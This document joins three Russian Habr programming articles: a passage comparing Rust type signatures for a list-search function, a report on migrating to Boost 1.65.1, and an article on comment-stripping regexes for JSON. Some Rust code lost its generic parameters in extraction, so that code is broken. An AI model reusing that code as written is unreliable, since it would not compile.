* Haskell — сильно статически типизированный, с чистыми функциями, информации существенно больше;
* Idris — язык с зависимыми типами, информации достаточно, чтобы во время компиляции доказать корректность функции.
"Есть C, есть Haskell, а где же Rust?!" — немедленно прозвучал вопрос. Ответ — под катом.
Напомним условие задачи:
> Пусть дан список и некоторое значение. Необходимо вернуть индекс этого значения в списке или указать, что этого значения в списке нет.
Для нетерпеливых — все рассмотренные ниже варианты можно увидеть в [Rust playground](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=3fc9cc183531335eb63b31858ac2f226).
Погнали!
#### Простой поиск
Мы начнём с почти наивной сигнатуры, которая, по сути, от кода на C отличается только некоторыми идиоматичными элементами:
```
fn foo(x: &[i32], y: i32) -> Option {
// 10000 строк нечитаемого кода
}
```
Что мы знаем об этой функции? Ну… не так и много, на самом деле. Конечно, иметь в возвращаемых значениях `Option` — это гораздо лучше, чем то, что предоставлял нам C, но никакой информации о семантике функции у нас всё равно нет. В частности, нет никакой гарантии отсутствия побочных эффектов, как нет и возможности как-либо проверить ожидаемое поведение.
Может ли ситуацию исправить грамотно написанный тест? Смотрим:
```
#[test]
fn test() {
assert_eq!(foo(&[1, 2, 3], 2), Some(1));
assert_eq!(foo(&[1, 2, 3], 4), None);
}
```
В общем-то, ничего нового мы не получили — все те же самые проверки мы спокойно могли проделывать и с Python (и, забегая вперёд, тесты практически ничего не дадут и в дальнейшем).
#### Use the generics, Luke!
Но разве ж это хорошо, что мы вынуждены использовать только знаковые 32-битные числа? Непорядок. Исправляем:
```
fn foo(x: &[El], y: El) -> Option
where
El: PartialEq,
{
// 10000 строк нечитаемого кода
}
```
Ага! Это уже кое-что. Теперь мы можем принимать срезы (slice), состоящие из любых элементов, которые мы можем сравнивать на равенство. Явный полиморфизм почти всегда лучше неявного и почти всегда лучше его отсутствия, не так ли?
Однако такая функция может неожиданно для нас пройти вот такой тест:
```
fn refl(el: El) -> Option {
foo(&[el], el) // should always return Some(0), right?
}
#[test]
fn dont\_find\_nan() {
assert\_eq!(refl(std::f64::NAN), None);
}
```
Это сразу указывает на некоторый недочёт с нашей стороны, потому как по изначальной спецификации такой вызов должен был бы вернуть `Some(0)`. Разумеется, проблема здесь из-за специфики типов с частично определённым сравнением вообще и float-ов в частности.
Допустим, теперь мы хотим избавиться от такой проблемы, — для этого всего лишь ужесточим требования на тип El:
```
fn foo(x: &[El], y: El) -> Option
where
El: Eq,
{
// 10000 строк нечитаемого кода
}
```
Теперь мы требуем не просто возможности сравнения на равенство — мы требуем, чтобы это сравнение являлось [отношением эквивалентности](https://ru.wikipedia.org/wiki/%D0%9E%D1%82%D0%BD%D0%BE%D1%88%D0%B5%D0%BD%D0%B8%D0%B5_%D1%8D%D0%BA%D0%B2%D0%B8%D0%B2%D0%B0%D0%BB%D0%B5%D0%BD%D1%82%D0%BD%D0%BE%D1%81%D1%82%D0%B8). Это несколько сужает круг возможных параметров, но зато теперь и типы, и тесты подсказывают (пусть и не указывают явно), что ожидаемое поведение действительно должно попадать в спецификацию.
**Лирическое отступление: we want to go MORE generic!**Этот вариант не имеет отношения к исходной задаче, зато является, на мой взгляд, хорошей иллюстрацией к принципу: "be liberal in what you accept, be conservative in what you do". Иначе говоря: если есть возможность без ущерба для эргономики и производительности сделать тип принимаемых значений более общим — есть смысл именно так и поступить.
Рассмотрим вот такой вариант:
```
fn foo<'a, El: 'a>(x: impl IntoIterator, y: El) -> Option
where
El: Eq,
{
// 10000 строк нечитаемого кода
}
```
Что мы теперь знаем об этой функции? Всё то же самое, только теперь она принимает на вход не список и не срез, а какой-то произвольный объект, который можно заставить выдавать поочерёдно ссылки на объекты типа El и сравнивать их с искомым: аналогом в Java, если я правильно помню, была бы функция, принимающая `Iterable`.
#### Как раньше, только строже
Однако, допустим, гарантий, предлагаемых компилятором на уже известных этапах, нам мало. Или, скажем, мы не хотим (по тем или иным причинам) лезть в кучу, а хотим работать на стеке, — а это значит, что нам нужен массив вместо вектора, — но при этом хотим, чтобы наш код обобщался на разные размеры массива. Или мы хотим, чтобы функция была максимально оптимизирована под каждый конкретный размер входного списка.
Короче говоря, нам нужен generic array — и в Rust уже есть пакет, предоставляющий [дословно это](https://crates.io/crates/generic-array).
Теперь в нашем распоряжении уже такой код:
```
use generic_array::{GenericArray, ArrayLength};
fn foo(x: GenericArray, y: El) -> Option
where
El: Eq,
Size: ArrayLength,
{
// 10000 строк нечитаемого кода
}
```
Что мы знаем из этого кода? Что функция принимает массив некоторого фиксированного размера, отражённого в её типе (и для каждого такого размера скомпилируется независимо). Пока что это почти ничего не меняет — в конце концов, точно такие же гарантии, только не на этапе мономорфизации, а в рантайме, обеспечивал и предыдущий вариант со срезом.
Но мы можем пойти ещё дальше.
#### Арифметика уровня типов
В исходной статье упоминались несколько гарантий, которую мы получили от Idris и не смогли получить ни от кого более. Одна из них — и, пожалуй, сама простая, потому что для неё даже не нужно писать полноценное доказательство или полноценный тест, а только чуть конкретизировать тип, — гласит, что возвращаемое значение, если оно есть (т.е. если оно не `Nothing`), гарантированно не будет превосходить длины входного списка.
Казалось бы, необходимое условие для такой гарантии — наличие зависимых типов, ну, или хотя бы какого-то их подобия, и странно было бы ожидать подобного от Rust, верно?
Встречайте — [typenum](https://crates.io/crates/typenum). С его помощью наша функция может быть изображена вот так:
```
use generic_array::{ArrayLength, GenericArray};
use typenum::{IsLess, Unsigned, B1};
trait UnsignedLessThan {
fn as\_usize(&self) -> usize;
}
impl UnsignedLessThan for Less
where
Less: IsLess,
Less: Unsigned,
{
fn as\_usize(&self) -> usize {
::USIZE
}
}
fn foo(x: GenericArray, y: El) -> Option>>
where
El: Eq,
Size: ArrayLength,
{
// 10000 строк нечитаемого кода
}
```
"Что это за чёртова чёрная магия?!" — спросите вы. И будете, безусловно, правы: typenum — это та ещё чёрная магия, а попытки его хоть как-то вменяемо использовать — вдвойне.
И тем не менее, сигнатура этой функции достаточно однозначна.
* Функция принимает массив элементов El длины Size и один элемент типа El.
* Функция возвращает значение Option, которое, если оно является Some,
+ представляет собой [trait object](https://doc.rust-lang.org/1.29.2/book/2018-edition/ch17-02-trait-objects.html), основанный на типаже `UnsignedLessThan`, который принимает в качестве параметра тип Size;
+ в свою очередь, типаж `UnsignedLessThan` реализован для всех типов, реализующих `Unsigned` и `IsLess`, для которых `IsLess` возвращает B1, т.е. true.
Иначе говоря, таким образом мы написали функцию, которая *гарантированно* возвращает неотрицательное (беззнаковое) число, *меньшее*, чем исходный размер массива (вернее, конечно, она возвращает этот самый trait object, у которого мы позже должны вызвать метод `as_usize`, гарантированно возвращающий такое число).
Подвохов у данного подхода ровно два:
1. Мы можем ощутимо потерять в производительности. Если вдруг по какой-то причине такая наша функция окажется на "горячем" участке программы, постоянная необходимость в динамических вызовах может оказаться одной из самых медленных операций. Впрочем, этот недостаток вполне может быть не так значителен, как кажется, но есть и второй:
2. Чтобы эта функция корректно скомпилировалась, нам потребуется либо фактически написать внутри неё самой доказательство корректности её работы, либо "обмануть" систему типов через `unsafe`. Первое слишком сложно для пятничной статьи, ну а второе — попросту жульничество.
#### Заключение
Разумеется, на практике в подобных случаях будет использоваться либо вторая реализация (принимающая срез произвольного типа), либо реализация под спойлером (принимающая итерируемый объект). Все последующие рассуждения почти наверняка не несут практического интереса и служат исключительно упражнением по работе с системой типов.
Тем не менее, сам факт, что на системе типов Rust можно суметь эмулировать одну из особенностей заведомо более сильной системы типов Idris, на мой взгляд, достаточно показателен. | https://habr.com/ru/post/468145/ | null | ru | null |
# Переход на Boost-1.65.1 и баги, которые всплыли
В прошлом году(уже почти целый год прошел) мы все–таки перешли на новую версию Boost-1.65.1, и под капотом вы найдете тройку багов boost-а, с которыми мы столкнулись. Еще важно упомянуть, что до этого у нас в ПО использовался boost -1.62.1, поскольку какие-то баги появились в boost ранее версии 1.65.1
В нашем проекте есть специальная команда интеграции, основной задачей которой является миграция всего софта на новую версию библиотек, Visual Studio, новые версии компонентов низкого уровня (базовые, от которых зависят большинство других компонентов) и т.п. Также команда интеграции ответственна за устранение всех проблем, которые при этом возникают, естественно при содействии мейнтейнеров компонентов, если это необходимо. Итак, баги, которые особенно запомнились мне.
### Баг в boost::filesystem
Этот баг всплыл достаточно быстро. Тесты начали падать с “Access violation” при поиске полного пути к задаваемому имени файла. В функции делался вызов boost::filesystem::exist, и программа крашилась. Запустив еще несколько тестов, было замечено еще несколько аналогичных случаев, при этом во всех случаях вызов boost::filesystem::exist делался для глобальных переменных. Видимо, что-то поменялось во времени жизни переменных boost-та. Тикет для обнаруженного бага очень легко гуглится [тикет бага в boost::filesystem::exist](https://svn.boost.org/trac10/ticket/12987)
Оказалось, что этот баг затесался в boost, начиная с версии 1.64. На самом деле проблема была в вызове make\_permissions (используется в filesystem::exist). В 1.64 имплементация make\_permissions была изменена, и теперь использовала глобальные переменные, а это значит, что когда делается попытка вызова filesystem::exist при инициализации глобальной переменной или объекта, глобальные переменные, используемые в make\_permissions, могут быть еще не проинициализированы. Поэтому попытка доступа к несозданной переменной бросает исключение.
**Обходной путь**Для тестов, где глобальные переменные использовались только единожды, были перенесены в соответствующие тесты и стали локальными переменными. Даже и не спрашивайте, почему это не было сделано раньше, я не мейнтейнер этого кода.
В остальных случаях использовались [синглтоны](https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%B8%D0%BD%D0%BE%D1%87%D0%BA%D0%B0_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)).
### Баг в boost::python
В тестах, использующих boost::python, была обнаружена странная вещь. При выполнении тривиального вызова eval() для литерала (например, «40+2») все норм. А если переменные определить, а потом использовать в выражениях, то получаем сообщение о том, что в вычислениях используются неопределенные переменные(ERROR: [name] not defined). Для решения этой проблемы я потратила уже больше времени. Я не смогла найти тикет этой проблемы в баг трекере boost-а, поэтому пришлось попросить помощи команды этого компонента. Информация о баге была оперативно найдена [на github-е](https://github.com/boostorg/python/commit/b09d80a93e299bdaba29b652010b668b87f1306c).
Так случилось, что в имплементации eval объекты global и local не использовались. Пожелав *Good luck* в поиске фикса без перекомпиляции исходников либы, команда откланялась :)
**Обходной путь**Но тут я вспомнила про [release notes для boost-1.65.1](https://www.boost.org/users/history/version_1_65_1.html) и там точно что-то было для boost::python.
Ура, выход есть! Баг был допущен при добавлении новой имплементации eval c поддержкой char const \* аргумента, которая теперь вызывается в старой имплементации eval со string аргументом(Особо внимательные могли заметить вызов этой функции в коде по github-овской ссылке). И новая функция, как ожидалась, работает.
### boost::numpy
Это самая нелюбимая моя часть. boost::python::numeric был удален и теперь как альтернатива появился boost::python::numpy. Но код, использовавший numeric, пришлось изрядно переделать, поскольку дело не только в переименовании неймспейсов, но и в имплементации объектов.
Помимо этого, в хедере boost-та была дезинформация, которая ввела меня в заблуждение.
Согласно комментарию в исходнике, вызов import\_array() уже делается в numpy::initialize():
```
namespace boost { namespace python { namespace numpy {
/**
* @brief Initialize the Numpy C-API
*
* This must be called before using anything in boost.numpy;
* It should probably be the first line inside BOOST_PYTHON_MODULE.
*
* @internal This just calls the Numpy C-API functions "import_array()"
* and "import_ufunc()", and then calls
* dtype::register_scalar_converters().
*/
BOOST_NUMPY_DECL void initialize(bool register_scalar_converters=true);
}}} // namespace boost::python::numpy
```
Но на деле, как оказалось, import\_array() необходим.
К тому же, были проблемы с тестированием изменений, поскольку куски кода с numpy (ранее с boost::python::numeric) вообще не были покрыты тестами, а сам код использовался еще и в другом компоненте. Поэтому проблемы выявлялись только при тестировании соответствующего компонента. Команда интеграции не обязана писать тесты для компонент, и данная ситуация была упущением самой команды. Ух и наслушалась я от них о том, что сломала их код. Но после того, как команда поворчала, они наконец-то покрыли свой код тестами. Однако обидка осталась (при следующей миграции, команда не хотела давать права доступа к своему компоненту моему коллеге, упоминая, что в прошлый раз, мы сломали им код. *Саша, сорян!* Но после трех дней переговоров они сдались).
### Заключение
После проделанной работы могу отметить плюсы для себя, поскольку boost до этого использовала не очень часто(в основном std), поэтому из миграции можно подчеркнуть много нового. Забавно, но факт, после такого почему-то вы по дефолту становитесь для многих коллег “экспертом boost”, и, смиритесь, вам будут задавать вопросы по нему еще некоторое время.
Кстати последние годы многие компании начали активно избавляться от boost и заменять по возможности std библиотекой, либо чем-то еще в случае отсутствия каких-то возможностей в стандартной библиотеке. И мы тоже не остались в стороне. Процесс запущен, но не завершен, еще много работы. | https://habr.com/ru/post/436828/ | null | ru | null |
# JSON, который можно комментировать
[](http://spmbt.github.io/jsonComm/)Не все JSON нельзя комментировать (например, Хром[иум] вполне переносит комментарии в manifest.json), но в стандарте [не предусмотрены комментарии к нему](http://stackoverflow.com/questions/244777/can-i-comment-a-json-file). Поэтому ряд функций в NodeJS не обрабатывают комментарии в формате JS и считают их ошибкой. Точно так же, AJAX с форматом JSON принимает их за ошибку. Поэтому для конфигурационных файлов в формате JSON имеется масса неудобств при попытках их использовать как человеко-читаемые файлы. Может быть, это иногда хорошо. Если хотим прокомментировать, то будем вынуждены оформить комментарий под или над строкой как «ключ-значение».
```
...{...
"some-key_comment":"my comment for key and value",
"some-key":"some-value",
...}...
```
Но если комментарии не пишем, следуя суровости протоколов, ошибки возникают уже из-за другого фактора — забывания смысла параметров настроек при редактировании человеком.
```
...{...
"some-key":"some-value", //какой-какой key?? Ай, комментарии - нельзя!
...}...
```
Придумаем JSON-подобный формат с комментариями в стиле JS, чтобы их можно было выполнять как JS, а, очистив от комментариев — читать как JSON. ("[TL:DR: покажите мне код.](https://github.com/spmbt/jsonComm)")
### Сыр-бор и источник
Кстати, Дуглас Крокфорд, который это всё устроил, [в 2012 году объяснил](https://plus.google.com/+DouglasCrockfordEsq/posts/RK8qyGVaGSr): )
> Я убрал комментарии из JSON, потому что видел людей, использующих их для хранения директив разбора — практика, которая разрушила бы совместимость (формата). Я знаю, что отсутствие комментариев некоторых печалит, но их (комментариев) не должно быть.
>
>
>
> Допустим, вы используете JSON для хранения конфигурационных файлов, которые привыкли комментировать. Вставьте любые комментарии, как вам нравится. Затем пропустите их через JSMin перед работой JSON-парсера.
Сделал он это на G+, где можно ставить только «плюсы», а комментарии закрыл. Так что, какова бы ни была реакция общества под объяснением, мы увидим только «плюсы» (или смотреть у тех, кто расшаривал этот пост).
И цитата Крокфорда из другого места:
> Основная причина, отчего я удалил комментарии — были люди, которые пытались парсить данные на основе комментариев, что полностью ломало совместимость. Я никак не мог контролировать их, поэтому лучшим выходом было комментарии удалить.
Поэтому дальше читаем, кликнув и согласившись на обещание:
| |
| --- |
| «Обещаю, что я буду осторожен и не буду использовать комментарии для парсинга данных! |
### Всё уже сделано до нас
В том и дело, что требуется ещё один парсер, а так — большой проблемы нет. И проблема этим не ограничивается — иногда надо файл слегка изменить, оставив комментарии. Первую часть (парсер) решили, например, через [JSON.minify()](http://blog.getify.com/json-comments/). Вторую и ряд других проблем (концевые запятые или вообще без них, многострочные комменты, ключи и строки-значения без кавычек) — не поленились решить в [Hjson](https://github.com/laktak/hjson-js), потратив 750 строк на код JS (с комментариями на 10-15%).
### Стоп, а нужно ли это вообще?
Несомненно, *суровым программистам* (таким, которые пишут комментарии как значения ключей в JSON), а также роботам (сетевым и вообще) это не нужно. Они прекрасно перекодируют имена ключей в любом знакомом им конфиге, а программисты — так вообще, имеют ещё интеллект, позволяющий им разбираться в незнакомых названиях и строить эвристики по их расшифровке без всякого компьютера. Остальные, в том числе не суровые программисты, считают комментарии полезными и тратят время не только на их чтение иногда, но и на их написание. Несомненно, Крокфорд относится к суровым программистам, а создатели YAML — нет. С этим приходится мириться и соединять миры роботов (и с.п.) и людей.
Есть ещё хакеры, которым подойдёт совершенно хакерский, валидный способ записи JSON с последовательным повторением одинаковых ключей (в JS+»use strict" даст ошибку). Значение первого ключа в большинстве парсеров не сохранится, поэтому его (и все такие, кроме последнего) можно использовать как комментарии. Способ тоже страдает «машинностью».
```
...{...
"some-key":"comments_comments",
"some-key":"some-value",
...}...
```
Итого, не все будут за «ещё один формат, 16-й по счёту». Любая попытка построить, а тем более, применить конвертор форматов приведёт к игнорированию некоторой частью девелоперских юнитов данного формата. В тех же индивидуумах, в которых странным образом сочетаются осколки разных миров, которые ещё не определились со своей сущностью, процедуры конвертации ~~п~~окажутся полезными. По крайней мере, на первых порах, по мере превращения.
Поэтому данный формат содержит в себе несочетаемое, подобно компьютеру для блондинки: с одной стороны, методы преобразований, которые под силу применить только роботам, с другой стороны, результаты предстают в более человекочитаемой форме.
Мост между роботами и людьми
----------------------------
Можно придумать плагин к Grunt/Gulp (например, [grunt-strip-json-comments](https://www.npmjs.com/package/grunt-strip-json-comments), [Gulp](https://github.com/sindresorhus/gulp-strip-json-comments)...) для очистки файлов от комментриев. Но суть действия сводится к небольшому (до 1 К) регулярному выражению, которое проще написать в Gruntfile.js, чем в него же вписывать ещё один плагин. Более того, такое же выражение нужно и для JS на клиенте, чтобы читать тот же JSON, поэтому от его явного вида мы всё равно не убежим.
Методы для преобразований форматов собраны в объект **jsonComm**, который работает в среде Javascript. Для решения частных задач не нужен весь объект — не всегда имеет смысл брать в проект все методы. Например с задачей простого удаления комментариев (как в gulp-strip-json-comments) справляется метод, состоящий из одного регулярного выражения (**jsonComm.unComment()**, до 1 КБ несжатого кода; пример далее; в тестовом разделе проекта jsonComm есть тесты и бенчмарки для оценки корректности и быстродействия), которое даже компилировать не надо, если нет цели применять разные настройки правил.
Настройки могут быть, к примеру, такие. Каким символом отмечать начало комментария? Если в среде чистого JS есть уверенный ответ — "//", то сторонники Пайтона или YAML скажут — "#". Попытки объединить непримиримых приводят к настройкам правил и к конверторам — тем самым, с которых, в том числе, начали. В среде адептов JS нет надобности в настройках, и они выжгут из проекта упоминание о "#". Потому что нельзя тратить 36 микросекуд (микро-) на генерацию регекспа ради лояльности к такой ереси. Лоялисты — тоже выжгут, но удлинят регексп и станут тратить 0.1-0.5 (условно) микросекунд (микро-) уже не на генерацию, а на каждый цикл перекодировки. За это их ненавидят пуритане. Ведь роботы мыслят гораздо быстрее, и им медлительность видится в другом масштабе.
*Какие задачи можно решать при комментировании JSON?*
* просто читать в JS или NodeJS формат jsonComm (с комментариями), удалять из них комментарии и далее верифицировать как обычный JSON в JSON.parse(); то же самое, что делает большинство проектов по добавлению комментариев в JSON. Работает быстро (десятки-сотни мкс).
* читать не JSON, а файлы JS (с кодом) чтобы из оставшейся части взять некоторые константы как настройки (например, в NodeJS), когда файл JS будет их тоже использовать при своём исполнении в другом месте (на клиенте) — своеобразный шаблон с упрощением структуры конфигурации;
* как в предыдущем пункте, но уже хочется изменить некоторые настройки после прочтения (например, в Ноде обновить номер сборки или внести настройки конфига), чтобы далее JS на клиенте, ничего не подозревая, использовал их. Это — аналог шаблона на чтение-запись.
Здесь — не все мыслимые задачи, но группа, достаточная для простого конфигурирования проекта. Вместо Yaml с комментариями или костыльных комментариев в чистом JSON — пишем jsonComm с расширением \*.js, который может или читаться как JSON (на сервере, при сборке проекта или на клиенте), или выполняться как JS, имея комментарии в JS- или YAML-стиле.
Задачи разделяются на 2 практических случая — когда нам **не** нужно редактировать свой jsonComm, и когда редактировать **нужно**, при этом оставляя все комментарии. Когда происходит только чтение (это же — случай клиентского AJAX), ограничиваемся единственным методом ***jsonComm.unComment()*** c одним регекспом, и далее — JSON.parse().
Случай записи изменённых значений или ключей потребует небольшой процедуры парсинга текстового файла JsonComm (с комментариями, без их удаления) или JS, чтобы точечно изменить требуемое. Манипуляция возможна для файлов "\*.js", если коды языка в них не будем трогать скриптами — требуется лишь не ошибаться в записи значений ключей. К необходимым методам добавляется второй: ***jsonComm.change()***.
*Какие **ещё** задачи можно решать при комментировании JSON?*
Задачи академического типа:
* получить «валидный» доступ к комментариям jsonComm, переведя их сначала в пары «ключ#»-«комментарий», выбрав основу ключа из той строки, возле которой он найден, а затем, после парсинга из правильного JSON — обрабатывать их далее (например, переводя в другой формат);
* работать с Yaml напрямую (но теряем признанную браузером/средой JS основу для валидации)
* взаимное преобразование в Yaml и обратно через выше сделанный валидный JSON;
* то же для XML; тогда получится кластер из четвёрки языков описания данных, 2 из которых признаны в браузерах и многочисленных вычислительных средах.
Особенность этих задач — практической необходимости в них нет, но видя нишу, место под них зарезервировано (функции toYaml, toXml, fromYaml, fromXml, to; последняя — это «в jsonComm»). Без комментариев — такой кластер и без того уже есть в работах других библиотек. Чтобы влиться в него с комментариями, нужно начать хотя бы с функции перевода комментариев jsonComm в один из валидных и признанных форматов. Очевидно, первый кандидат — JSON.
Первое же знакомство со способами комментирования создаёт много вопросов — к каким ключам привязвать комментарии до найденной пары, а каким — после? Например, комментарии после разделителя-запятой, но стоящие на той же строке, обычно относятся к предыдущей паре, поэтому на разделитель будет влиять и окончание строки. Второе: многострочные комментарии логически могут относиться к разным смежным парам. Третье: а к чему относятся комментарии в массивах? Их ключи выражены неявно, и логично бы создать рядом лежащий массив. А если он многомерный и с редким заполнением? Четвёртое: комментариев на строке может быть несколько; пара может быть растянута на 3 и более строк.
Весь этот круг не менее надуманных, но реальных проблем потребует достаточно продуманного подхода, чтобы автоматическая конвертация комментариев не приводила к ухудшению читаемости форматов. Поэтому не будем спешить с их изготовлением. Займёмся лучше формальным описанием грамматики jsonComm.
Грамматика jsonComm
-------------------
Чаще всего встречаются пары в файлах JSON, зписанные на отдельных строчках:
```
<набор пробельных отступов>"<ключ>": <значение>
```
Значение — строка в кавычках или другие термы по всем правилам JSON. Ключ — любая строка, лишь с особым экранированием кавычек внутри себя. Между элементами могут быть пробельные символы, а разделяются пары запятыми или скобками, которые могут стоять где угодно до или после пары, в том числе, на соседних строках.
У нас будет очень похожий формат (jsonComm), с той разницей, что на месте пробельных символов могут быть комментарии 2 типов.
Оказывается, экономичнее при этом ориентироваться не по строкам, а по разделителям (скобкам, запятым). Переносы строк для многострочных комментариев вообще не имеют значения, а для однострочных служат признаком конца. Это повлияет на то, какой парсер будет работать в алгоритме преобразования.
Далее, при решении творческой задачи по вопросу того, к какой паре отнести комментарии, расположение разделителя и переносов строк снова будет иметь значение. Для просто удаления комментариев — оказывается, что переносы строк не важны (не следует лишь удалять концевой перенос однострочного комментария).
С учётом сказанного, основная конструкция грамматики jsonComm выглядит так:
```
(("{" | "[" | ",")<пробелы>)
<пробелы-комменты>
(<пробелы>"<ключ>"<пробелы>)
<пробелы-комменты>
(<пробелы>(":")<пробелы>)
<пробелы-комменты>
(<пробелы><значение><пробелы>)
<пробелы-комменты>
|
<пробелы-комменты>
(<пробелы><значение><пробелы>)
<пробелы-комменты>
(<пробелы>("}" | "]" | ","))
```
После фильтрации выбрасывается всё, что не в скобках, и остаётся всё, что изображено в круглых скобках. С некоторыми особенностями, конечно, которые на этой упрощённой схеме не отображены (пустое значение означает значение-структуру). Схема может пропустить неправильный JSON, может вообще пропустить любой текст, кроме комментариев, например, программу или текст книги. И это хорошо тем, что при валидации, если её делают, JSON всё равно проверяется, а если валидации нет, а текст парсится JS-компилятором, то надобность в удалении комментариев отсутствует, схема в этом режиме не работает.
Похожая, более сложная схема нужна будет для вставления комментариев-значений (функция ***jsonComm.comm2json()***). В ней из jsonComm вида
```
...
,"some-key":"some-value" //comments_comments
...}...
```
создаём
```
...
"some-key#":"comments_comments",
"some-key":"some-value",
...}...
```
или без строчки с ключом для комментария. Если в области текста, относящейся к паре, встретилось несколько комментариев, всех их копируют в значение «some-key#». Но если комментарий встретился не в районе пары (в массиве, до или после всех скобок), он игнорируется. Все символы комментария приходится преобразовывать в валидные для JSON. Например, табы — в "\t", "\" — в "\\",….
Как на практике содержать JsonComm?
-----------------------------------
До сих пор мы могли записать без проблем и плагинов только JSON со всеми оговорками отсутствия комментариев или с присутствием, но в виде значений (или править JS как текстовые файлы, или хранить в БД). Сейчас будем пользоваться изменяемыми (для NodeJS) файлами jsonComm, имеющими расширение **\*.js**.
Выявлены 2 практические ниши применения JsonComm-файлов: на чтение конфигураций, оформленных с комментариями, на обновление конфигураций, и одна академическая — конвертор форматов.
Если файлы нужно только читать (клиентский JS и прочее), читаем их как xhr.responseText в AJAX или как \*.js и преобразуем JsonComm в объекты-структуры с валидацией через JSON.parse().
Если файлы нужно модифицировать, то для быстроты работы используем алгоритм поиска и замены по уникальным ключам, не повторяющимся в файле (jsonComm.change()). Тогда не нужно делать дерево разбора, одновременно обходя комментарии (впрочем, это тоже не должно быть медленно, но отдельный сложный однопроходный алгоритм).
Нет проблем добавить пайтоновский стиль однострочных комментариев (#comments\_comments). Но тогда не будет работать способ чтения как файла \*.js. В коде проекта заложена возможность отключить синтаксис "#" у комментариев (на начальном этапе компиляции регекспа).
Простые случаи, когда это нужно:
\* В сборщике проекта на Grunt/Gulp/… вычисляем новый номер версии и запоминаем его в тот же файл конфигураци.
\* там же, в сборщике, создаём константы проекта на основе других параметров сборки и пишем их как параметры для JS.
Чуть более сложно, клиентский JS тоже может приобрести функцию записи таких файлов, через отправку результата на сервер. Это даст ещё больше вариантов использования (сборочная панель на клиенте), оставляя комментарии в файле. Для этого ему надо модифицировать и отправить строку (образ многострочного файла) на сервер, а там её записать в файл (конечно, с решением вопросов безопасности).
Реализация
----------
Чтобы долго не крутить циклы, преобразование выполняется «одним махом» на регулярных выражениях.
#### Выкусывание комментариев
Преобразователь фактически работает как цикл по строкам, методично выкусывая комментарии и пропуская допустимые фрагменты JSON. На его базе несложно построить и распознаватели текста комментариев, чтобы их сохранять в особые ключи-значения. Таким способом, мы допускаем комментарии для дальнейших операций, но не для того, чтобы «нарушить совместимость» (при желании — всегда можно), а чтобы код с комментарием был более удобной записью хуже читаемого выражения из 2 пар «ключ-комментарий» и «ключ-значение».
Не
```
"ключ_": "комментарий",
"ключ": "значение",
```
, а
```
"ключ": "значение" //комментарий
```
Решение выполняет также задачу по распределению ответственности за валидность кода. Всё, что относится к комментариям, контролируется визуально и с подсветкой синтаксиса в IDE разработчиком. Правильность остального JSON разбирает стандартный парсер JSON.parse().
Начнём с простого. Как приблизительно работает парсинг на регекспах? Попробуем удалять концевые комментарии. (Код не используется далее, он — только для примера.)
`('\n'+строки_файла).replace(/(^|\r?\n)(([^"\r\n:]*"(\\"|[^"\r\n])*"|[^"\r\n:]*):?([^"\r\n]*"[^"\r\n]*"|[^"\r\n]*)[^\/"\r\n]*?|[^\/"\r\n]*?)(\/\*\*\/|\/\*([\s\S]?(?!\*\/))+.{3}|\/\/[^\r\n]*)/g,'$1$2')`
Для понимания, как оно устроено, обратим внимание на функциональные части:
`(^|\r?\n)` — захватывающие скобки для отображения предыдущего переноса строки.
Следующая за ним скобка и её пара — ...`[^\/"\r\n]*?)` — вторые используемые для копирования захватывающие скобки.
`"(\\"|[^"\r\n])*"` — ключ или строка в кавычках; если кавычек нет — далее ищется альтернатива из просто
`\s*\/\*\*\/|\s*\/\*([\s\S]?(?!\*\/))+.{3}` — парсер многострочного комментария.
`\/\/[^\r\n]*` — парсер однострочного комментария до конца строки.
С выкусыванием комментариев в конце строки у этого несложного выражения — всё отлично. Хуже дело — с выкусыванием комментариев со звёздочкой между ключами и значениями. Можно пренебречь и не писать таких комментариев. Тем более, что у «конкурента» YAML имеются только концевые. Но, имея функциональные части, уже можно построить более сложное выражение, чтобы не накладывать таких ограничений. При этом придётся не просто оставлять «всё до комментария в строке», но и между ними — усложняются оставляемые фрагменты. Фактически, это — вся **jsonComm.unComment**(jsonCommString). Именно эту строчку можно копировать в Gruntfile.js вместо подключения модуля, чтобы очистить строку JSON от комментариев.
`jsonCommString.replace(/(?:(?:((?:\{|,)\s*)(?:(?:\s*(?:\/\/|#)[^\r\n]*(\r?\n|$))*(?:\s*\/\*\*\/|\s*\/\*(?:[\s\S]?(?!\*\/))+.{3})*)*(\s*"(?:\\"|[^\r\n"])*"\s*)(?:(?:\s*(?:\/\/|#)[^\r\n]*(\r?\n|$))*(?:\s*\/\*\*\/|\s*\/\*(?:[\s\S]?(?!\*\/))+.{3})*)*(\s*:\s*)(?:(?:\s*(?:\/\/|#)[^\r\n]*(\r?\n|$))*(?:\s*\/\*\*\/|\s*\/\*(?:[\s\S]?(?!\*\/))+.{3})*)*(\s*(?:[0-9.eE+-]+|true|false|null|"(?:\\"|[^\r\n"])*"|(?!:\{|:\[))\s*)(?:(?:\s*(?:\/\/|#)[^\r\n]*(\r?\n|$))*(?:\s*\/\*\*\/|\s*\/\*(?:[\s\S]?(?!\*\/))+.{3})*)*(\s*(?:\}|(?!,))\s*)?)+?|(?:((?:\[|,)\s*)(?:(?:\s*(?:\/\/|#)[^\r\n]*(\r?\n|$))*(?:\s*\/\*\*\/|\s*\/\*(?:[\s\S]?(?!\*\/))+.{3})*)*(\s*(?:[0-9.eE+-]+|true|false|null|"(?:\\"|[^\r\n"])*"|(?!:\{|:\[))\s*)(?:(?:\s*(?:\/\/|#)[^\r\n]*(\r?\n|$))*(?:\s*\/\*\*\/|\s*\/\*(?:[\s\S]?(?!\*\/))+.{3})*)*(\s*(?:\]|(?!,))\s*)?)+?|(?:(?:\s*(?:\/\/|#)[^\r\n]*(\r?\n|$))*(?:\s*\/\*\*\/|\s*\/\*(?:[\s\S]?(?!\*\/))+.{3})*)*\s*)/g,'$1$2$3$4$5$6$7$8$9$10$11$12$13$14')`
Тут широко используются незахватывающие скобки, чтобы оставить только захватывающие, для дальнейшей простоты второго аргумента в .replace(). (Подсказка-лайфхак: такие строки лучше всего читать в редакторе, имеющем выделение с подсветкой и выделение парных скобок, напр. от jetbrains.)
